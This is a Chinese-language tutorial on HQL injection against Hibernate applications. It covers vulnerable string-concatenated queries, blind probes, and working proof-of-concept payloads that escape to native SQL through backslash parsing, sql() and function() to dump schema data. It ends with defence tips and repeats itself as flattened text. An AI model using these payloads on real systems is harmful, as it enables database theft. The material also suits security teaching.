HQL注入深入利用
字数 1181 2025-08-24 07:48:10

HQL注入深入利用技术文档

1. Hibernate框架概述

Hibernate是一种ORM(对象关系映射)框架,支持两种查询方式:

  • 原生SQL语句
  • HQL(Hibernate Query Language)语句

1.1 原生SQL查询示例

String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema=?");
query.setParameter(1, parameter);

1.2 HQL查询示例

String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema = ?1", User.class);
query.setParameter(1, parameter);

2. HQL注入分类

2.1 原生SQL语句拼接注入

String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema='"+parameter+"'");

特点:直接使用数据库原生语句,注入方式与传统SQL注入相同。

2.2 HQL语句拼接注入

String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema='"+parameter+"'", User.class);

特点:

  1. Hibernate首先检查HQL语法
  2. 符合语法后转换为原生SQL
  3. 执行SQL查询

3. HQL层面注入技术

3.1 基本限制

  1. 不支持原生SQL的union查询(6.x版本开始有限支持)
  2. 不支持多行注释/**/(6.0.1开始支持)
  3. 不支持单行注释#--
  4. 子查询只能使用已映射的表和字段
  5. 不支持*查询
  6. 映射后的表名、列名大小写敏感

3.2 可利用技术

  1. 报错注入:通过错误信息获取表名、列名
  2. 盲注
    • 使用and/or枚举列名:?name=mysql' and xxxxx = '1
    • 使用子查询枚举表名:?name=mysql'or+(select+1+from+XXXX+where+1=2)='1

4. HQL逃逸技术

4.1 5.x版本逃逸(<5.6.15)

4.1.1 转义字符差异利用

HQL不识别转义字符\,但MySQL识别,导致语法解析差异。

POC

mysql\''and+1=2+union+select+user(),version()#

解析过程

  1. HQL层面:'mysql\''and+1=2+union+select+user(),version()#'视为完整字符串
  2. SQL层面:'mysql\'被解析为字符串结束,后续内容作为SQL执行

4.1.2 函数调用

可使用数据库函数如updatexml()version()

4.2 6.x版本逃逸

4.2.1 sql()函数

sql('select 1,2,3')
sql('select 1,2,?','3')

POC

?name=mysql' and sql('1=2 union select table_name,table_schema from information_schema.tables#')='1

4.3 通用逃逸技术(5.x和6.x都适用)

4.3.1 function()函数

function('version') => version()
function('updatexml',1,1,1) => updatexml(1,1,1)

POC

?name=mysql' and function('1=2 union select table_name,table_schema from information_schema.tables#')='

特点

  1. 第一个参数作为函数名
  2. 自动添加括号
  3. 参数内容无限制

5. 防御建议

  1. 使用参数化查询
  2. 对用户输入进行严格过滤
  3. 限制数据库用户权限
  4. 及时更新Hibernate版本
  5. 禁用不必要的数据库函数

6. 参考工具

  1. HQLmap: https://github.com/PaulSec/HQLmap
  2. 参考文章: https://blog.h3xstream.com/2014/02/hql-for-pentesters.html

7. 总结

HQL注入利用技术随Hibernate版本不同而变化:

  • 5.x版本可利用转义字符差异
  • 6.x版本可利用sql()函数
  • 通用方法使用function()函数

不同数据库(MySQL、PG、Oracle、MSSQL)逃逸方式类似,但需注意语法差异。

HQL注入深入利用技术文档 1. Hibernate框架概述 Hibernate是一种ORM(对象关系映射)框架,支持两种查询方式: 原生SQL语句 HQL(Hibernate Query Language)语句 1.1 原生SQL查询示例 1.2 HQL查询示例 2. HQL注入分类 2.1 原生SQL语句拼接注入 特点:直接使用数据库原生语句,注入方式与传统SQL注入相同。 2.2 HQL语句拼接注入 特点: Hibernate首先检查HQL语法 符合语法后转换为原生SQL 执行SQL查询 3. HQL层面注入技术 3.1 基本限制 不支持原生SQL的union查询(6.x版本开始有限支持) 不支持多行注释 /**/ (6.0.1开始支持) 不支持单行注释 # 或 -- 子查询只能使用已映射的表和字段 不支持 * 查询 映射后的表名、列名大小写敏感 3.2 可利用技术 报错注入 :通过错误信息获取表名、列名 盲注 : 使用and/or枚举列名: ?name=mysql' and xxxxx = '1 使用子查询枚举表名: ?name=mysql'or+(select+1+from+XXXX+where+1=2)='1 4. HQL逃逸技术 4.1 5.x版本逃逸( <5.6.15) 4.1.1 转义字符差异利用 HQL不识别转义字符 \ ,但MySQL识别,导致语法解析差异。 POC : 解析过程 : HQL层面: 'mysql\''and+1=2+union+select+user(),version()#' 视为完整字符串 SQL层面: 'mysql\' 被解析为字符串结束,后续内容作为SQL执行 4.1.2 函数调用 可使用数据库函数如 updatexml() 、 version() 4.2 6.x版本逃逸 4.2.1 sql()函数 POC : 4.3 通用逃逸技术(5.x和6.x都适用) 4.3.1 function()函数 POC : 特点 : 第一个参数作为函数名 自动添加括号 参数内容无限制 5. 防御建议 使用参数化查询 对用户输入进行严格过滤 限制数据库用户权限 及时更新Hibernate版本 禁用不必要的数据库函数 6. 参考工具 HQLmap: https://github.com/PaulSec/HQLmap 参考文章: https://blog.h3xstream.com/2014/02/hql-for-pentesters.html 7. 总结 HQL注入利用技术随Hibernate版本不同而变化: 5.x版本可利用转义字符差异 6.x版本可利用sql()函数 通用方法使用function()函数 不同数据库(MySQL、PG、Oracle、MSSQL)逃逸方式类似,但需注意语法差异。